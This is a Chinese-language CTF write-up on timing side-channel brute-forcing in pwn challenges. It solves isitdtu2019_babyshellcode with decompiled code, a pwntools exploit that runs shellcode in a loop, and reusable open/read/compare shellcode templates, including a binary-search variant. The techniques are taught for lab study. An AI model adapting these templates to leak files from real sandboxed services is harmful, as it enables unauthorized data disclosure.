0x00 关于侧信道攻击 侧信道攻击(Side-Channel Attack)是一类不直接破解算法本身,而是通过分析系统在运行过程中泄露的物理信息来推测机密数据的攻击方式。 常见的侧信道信息包括: 时间(Time):执行时间的差异可能泄露数据,比如加密运算时间与密钥值有关。 功耗(Power):芯片运算时功耗变化可反推出密钥(DPA/SPA)。 电磁辐射(EM):运行时发出的电磁波可被采集分析。 声学(Acoustic):设备运行的声音差异可能泄露信息(如打印机、键盘声)。 缓存行为(Cache):缓存命中/缺失模式可被利用(如 Spectre、Meltdown)。 —- 摘取自ChatGPT-5
0x01 pwn中的侧信道爆破 在pwn中,侧信道攻击的主要应用通常就是shellcode领域的侧信道爆破 什么时候使用侧信道爆破呢?在能使用shellcode直接getshell时当然不需要,在沙箱环境下可以orw时候自然也不需要,然而,如果write
也被禁用怎么办呢?这时候就可以使用侧信道爆破了 我们使用open
和read
来讲flag读取到一片可读写的内存上,然后布置一段爆破flag的shellcode 我们通过cmp指令来判断给出的一个字符和flag的对应位是否相同,相同则跳回cmp指令处,这样如果这一位正确,那么程序便会进入死循环,我们判断一秒内是否接收到信息来判断程序是否死循环,便得知这一位是否正确
0x02 isitdtu2019_babyshellcode 参考Isitdtu2019_babyshellcode | roderick - record and learn! (似乎就是提出house of apple的大师傅) 先放题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 signed __int64 __fastcall sub_AA0 (__int64 a1, __int64 a2, __int64 a3) { signed __int64 result; signed __int64 v4; signed __int64 v5; signed __int64 v6; signed __int64 v7; __int64 v8; unsigned __int64 i; __int128 v10; __int64 v11; __int64 v12; v11 = a2; *((_QWORD *)&v10 + 1 ) = a3; v12 = 0x67616C662FL L; result = sys_access((const char *)&v12, 0 ); if ( !result ) { v4 = sys_mmap(0xCAFE000u LL, 0x1000u LL, 7uLL , 0x32u LL, 0LL , 0LL ); v11 = 0x67616C662FL L; v5 = sys_open((const char *)&v11, 0 , 0 ); v6 = sys_read(v5, (char *)0xCAFE000 , 0x30u LL); BYTE13(v10) = 0 ; HIWORD(v10) = 0 ; strcpy ((char *)&v10, "/dev/urandom" ); v7 = sys_read(sys_open((const char *)&v10, 0 , 0 ), (char *)0xCAFE050 , 8uLL ); v8 = MEMORY[0xCAFE050 ]; for ( i = 212852736LL ; i < 0xCAFE030 ; i += 8LL ) *(_QWORD *)i ^= v8; result = 0LL ; MEMORY[0xCAFE050 ] = 0LL ; } return result; }
这里将flag读取到了0xCAFE000
,然后取了八字节随机值存储于0xCAFE050
作为key
,接着将flag
每八字节异或key
,是一个非常简单的加密,异或是可逆的 我们这里有一个预先信息就是flag
是GUID值,那么flag
长度便是0x2a,并且flag{}
中的值只可能是0123456789abcdef-
中的一个(此题的特例,正常如果未知的话还是要爆破所有可打印字符的) 那么我们的思路就是先还原出key
,再利用key
来还原flag
我们知道flag
的前四字节肯定是“flag”,那么将0xCAFE000
的前四字节异或上”flag”便可以还原出key
的前四字节,然后由于flag
的长度原因,其0x30的空间并没有全部填满,后续都是0,那么与0异或是不会改变原值的,那么0xCAFE000
到0xCAFE030
的最后四字节便是key
,于是我们得到了key
,那么再对0xCAFE000
到0xCAFE030
每八字节按位异或key
便还原了flag
,接下来就是侧信道爆破了 主函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 __int64 __fastcall main (int a1, char **a2, char **a3) { char *dest; dest = (char *)mmap(0LL , 0x1000u LL, 7 , 34 , -1 , 0LL ); if ( dest == (char *)-1LL ) { perror("Could not mmap" ); return 1LL ; } else { sub_BFA(); memcpy (dest, &unk_202020, 0x27u LL); sub_C39(dest + 39 , 70LL ); sub_BB5(); ((void (*)(void ))dest)(); return 0LL ; } }
就是执行我们输入的shellcode,但是禁止了除了alarm以外的系统调用,我们可以先调用alarm将时间限制取消 注意unk_202020
处的指令会先执行,将寄存器基本全部清空了 我们直接放exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6_2.27-3ubuntu1.6_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "node5.buuoj.cn" port = 27189 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b main set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6-dbg_2.27-3ubuntu1.6_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/glibc-source_2.27-3ubuntu1.6_all/usr/src/glibc/glibc-2.27 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) shellcode = ''' mov al, 0x25 syscall mov ebp, 0xcafe000 mov eax, dword ptr [rbp] xor eax, 0x67616c66 mov ebx, dword ptr [rbp+0x2c] shl rbx, 32 or rbx, rax L1: xor qword ptr [rbp + 8 * rdx], rbx inc edx cmp dl, 6 jnz L1 L2: cmp byte ptr [rbp + {}], {} jz L2 ''' idx = 0 flag = "" for _ in range (0x2a ): err = True for i in bytearray (b"-{{}}flagbcde0123456789" ): io = start() io.send(asm(shellcode.format (idx, hex (i)))) if io.can_recv_raw(1 ): io.close() continue else : flag += chr (i) log.success(f"got flag --> {flag} " ) io.close() err = False break if err: error("This round is wrong!" ) idx += 1 io.interactive()
我们看到
1 2 3 L2: cmp byte ptr [rbp + {}], {} jz L2
这里就是取我们尝试字符与flag
的对应位置比较,如果正确则继续比较,这样就会陷入死循环 然后这里
io.can_recv_raw(timeout)
是用于检测timeout时间内是否有套接字可读,我们可以很方便的用于判断程序是否在死循环
0x03 orw缺w进行侧信道爆破的模版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 shellcode = asm( """ push 0x67616c66 # 将字符串 'flag' 的 ASCII 值(逆序)压入栈中(0x67616c66 是 'flag' 的十六进制表示,注意低字节优先) mov rdi, rsp # 将栈顶的地址(即 'flag' 的地址)加载到 rdi 中,作为 open() 的文件名参数 xor esi, esi # 将 esi 清零,等价于将 rsi 置为 0,表示文件权限为只读 (O_RDONLY) push 2 # 将常数 2 压入栈,用于设置 rax 的值为 2(open 系统调用号) pop rax # 从栈中弹出值 2 到 rax 中,设置 rax = 2(即 open() 系统调用号) syscall # 执行 syscall,调用 open(),打开 'flag' 文件 # 如果文件成功打开,文件描述符存储在 rax 中 mov rdi, rax # 将文件描述符(即 open() 返回的 rax 值)存入 rdi,作为 read() 的文件描述符参数 mov rsi, rsp # 将栈顶地址存入 rsi,作为 read() 的缓冲区参数 mov edx, 0x100 # 设置 edx = 0x100(即 256),表示最多读取 256 字节 xor eax, eax # 清零 rax,设置 rax = 0,表示调用 read() 系统调用 syscall # 执行 syscall,调用 read(),读取文件内容到栈上的缓冲区 mov dl, [rsp + {}] # 将栈中偏移 {} 处的一个字节加载到 dl 中,注意 {} 是动态参数(偏移值) cmp dl, {} # 比较 dl 中的值和 {}(即传入的常量值),注意 {} 是动态参数(要比较的值) jbe $ # 如果 dl 的值小于等于传入的常量值 {},就陷入死循环($ 表示当前指令地址,导致无限循环) """.format(i, c) )
根据具体情境相应调整 然后给出一版二分法优化的版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 def find (i, c ): global io io=remote("" ,) sc=asm(""" mov rax, 0 movabs rax, 0x67616C66 push 0 push rax push rsp pop rdi xor rsi, rsi xor rdx, rdx mov rax, 2 syscall mov rsi, rdi mov rdi, rax xor rax, rax mov rdx, 0x100 syscall mov al, [rsp+{}] cmp al, {} jbe $ """ .format (i, c)) io.send(sc) try : io.recv(timeout=3 ) io.close() return True except EOFError: io.close() return False flag = '' i=6 while True : l = 0x20 r = 0x80 while l <= r: m = (l + r) // 2 if find(i, m): r = m - 1 else : l = m + 1 if l==0 : break print (l) flag += chr (l) info("win!!!!!!!!!!!!!!!!!!!!!!!!! " ) info(flag) i += 1 info("flag: " +flag)